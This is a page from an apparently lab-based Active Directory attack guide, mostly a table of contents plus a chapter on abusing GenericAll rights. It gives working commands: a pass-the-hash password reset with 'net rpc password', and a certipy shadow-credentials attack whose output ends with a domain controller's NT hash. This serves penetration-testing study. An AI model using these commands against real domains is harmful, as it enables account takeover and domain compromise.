Attacking Active Directory
  • Reconnaissance
    • Enumerate Network
    • Enumerating Users With CME - Anonymously
    • Enumerate Users Anonymously - RPC
    • Enumerating User with Ldapsearch and enum4linux - Anonymously
    • Enumerate Guest Access on Shares - CME
  • Exploiting With Poison and Relay
    • Responder
    • NTLM relay
    • Secretsdump
    • Lsassy
    • DonPapi
    • Pass The Hash with Winpexec.py
    • Pass The Hash with Evil-Winrm
    • Pass the Hash with CrackMapExec
    • Coerced auth smb + ntlmrelayx to ldaps with drop the mic
  • User Enumeration Exploit
    • setup /etc/hosts and kerberos
    • Exploiting Username - ASREPRoast
    • Password Spraying
    • User listing with GetADUsers and ldapsearch
    • Kerberoasting
    • Powerview
      • Setting Up PowerView
      • Get-NetUser
      • Get-NetGroup
      • Get-NetComputer
      • Get-NetFileServer
      • Get-NetGPO
      • Get-ObjectAcl
      • Get-NetDomainTrust
      • Invoke-Portscan
    • Enumerate Shares with User Account
  • Exploiting with Users
    • SamAccountName (NoPac)
      • Semi Manual Exploit
      • From Linux With NoPAC.py
      • From Windows With noPAC.exe
    • PrintNightmare - Bronx
      • Check and Prepare
      • windows and linux
    • PrintNightmare - Baltimore
      • Exploit
  • WSUS Exploit
  • Active Directory Certificate Services (ADCS)
    • Bloodhound
      • Bloodhound - Install Neo4j
      • Run BloodHound
      • ADCS reconnaissance and enumeration (with certipy and bloodhound)
    • ESC8 - coerce to domain admin
    • ESC8 - with certipy
    • ADCS - ESC1
    • ADCS - ESC2 & ESC3
    • ADCS - ESC4
    • ADCS - ESC6
    • Certifried - CVE-2022–26923
    • Shadow Credentials
  • Metasploit
    • Initial Shell Shell Shell
    • Enumeration 1 - Users, Groups, Computers
    • Enumeration 2 - Arp, Tokens, Patches
    • Enumeration 3 - Shares, SMB, and More
    • Back Door Add User
    • Metasploit Exploit Suggester
    • HashDump With Metasploit
    • Lateral Movement With Metasploit
    • DsSync With Metasploit from NT Autority/System to Administrator
    • Golden Ticket with Metasploit
    • Using a Keylogger with Metasploit
    • BackDoor Meterpreter Service
  • Privilege Escalation
  • User ACL Exploits
    • Hunting with bloodhound
    • ACL With BloodHound
    • ForceChangePassword on User (Donald-> Hugo)
    • GenericWrite on User (Hugo -> Ramon)
    • WriteDacl on User (Ramon-> Nicolas)
    • Add self on Group (Nicolas-> RadioCity)
    • AddMember on Group (RadioCity -> EmpireState)
    • WriteOwner on Group (EmpireState -> CentralPark)
    • Generic all on user (CentralPark -> diego.Montenegro)
      • machine account to administrator shell
      • Silver ticket
    • GPO abuse
    • Read Laps password
  • MSSQL servers Exploitation
    • Enumerate the MSSQL servers
    • Enumerate MSSQL servers with GetUserSPNs & NMAP
    • Enumerate MSSQL servers with CrackMap & Impacket
    • impersonate - execute as login
    • MSSQL Coerce and relay
    • MSSQL trusted links
    • MSSQL Command execution to shell - Yonkers
    • MSSQL Command execution to shell - Salisbury
  • Delegations
    • Unconstrain
    • Constrain Delegation
      • With Protocol Transmition
      • Without protocol transition
    • Resource Based Constrained Delegation
    • Unconstrained delegation Enum
  • Trust
    • Enumerate Trust
    • Domain Trust - child/parent (north.newyork.local -> newyork.local)
      • RaiseMeUp - Escalate with impacket raiseChild
      • Golden ticket + ExtraSid
      • Trust ticket - forge inter-realm TGT
    • Forest Trust (newyork.local -> maryland.local)
      • Foreign group and users
      • Use unconstrained delegation
      • Mssql Trusted link
      • Golden ticket with external forest, sid history ftw ( Maryland-> NewYork)
      • Trust ticket with external forest ( maryland.local-> newyork.local)
      • Exploit acl with external trust golden ticket
  • Exploiting IIS & Privilege escalation
    • IIS - webshell
    • Privesc SeImpersonatePrivilege
    • winPeas without touching disk
    • SeImpersonatePrivilege to Authority\system
    • KrbRelay Up - Linux
    • KrbRelay Up - Windows - PowerPack
    • KrbRelay Up - Windows V2
  • Impacket
    • Install Impacket
    • Getting Initial Shell
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  1. User ACL Exploits

Generic all on user (CentralPark -> diego.Montenegro)

PreviousWriteOwner on Group (EmpireState -> CentralPark)Nextmachine account to administrator shell

Last updated 2 years ago

  • Now Nicolas.Maduro is in CentralPark so we can take the control of diego.Montenegro with the genericAll on diego.Montenegro

  • let’s change diego.Montenegro password with ldeep

net rpc password diego.Montenegro --pw-nt-hash -U NewYork.local/Nicolas.Maduro%b3b3717f7d51b37fb325f7e7d048e998 -S NYC.Newyork.local
  • We will set the password letsdothis

GenericAll on Computer (diego.Montenegro-> NYC)

  • Now we own diego.Montenegro, let’s finish the domain with the generic Write on the DC

  • We already done that on the previous chapter.

  • But what if you can’t add a computer in the domain (more and more customers disable the ability for a simple user to add computer to the domains and this is a good practice from a security point of view), you can do a shadow credentials attack on the computer.

  • So if ADCS is enabled on the domain, and we got write privilege on msDS-KeyCredentialLink, we can do the shadow credentials attack to get a direct access on the target account.

certipy shadow auto -u diego.Montenegro@NewYork.local -p 'letsdothis' -account 'NYC$'

Certipy v4.3.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'NYC$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '86b8f1a3-21b0-1a7f-bba2-b683a92326ae'
[*] Adding Key Credential with device ID '86b8f1a3-21b0-1a7f-bba2-b683a92326ae' to the Key Credentials for 'NYC$'
[*] Successfully added Key Credential with device ID '86b8f1a3-21b0-1a7f-bba2-b683a92326ae' to the Key Credentials for 'NYC$'
[*] Authenticating as 'NYC$' with the certificate
[*] Using principal: nyc$@newyork.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'nyc.ccache'
[*] Trying to retrieve NT hash for 'nyc$'
[*] Restoring the old Key Credentials for 'NYC$'
[*] Successfully restored the old Key Credentials for 'NYC$'
[*] NT hash for 'NYC$': 4434b2874a45816ce75c971df2187ca6
  • Now we got the tgt and the NT hash of NYC$

  • Obviously we can do a dcsync because NYC is a DC, but instead let’s try to directly get a shell

  • To do that the easiest way is using s4u2self abuse or create a silver ticket

Shadow credentials is now include with certipy (this attack can also be done with )

pywisker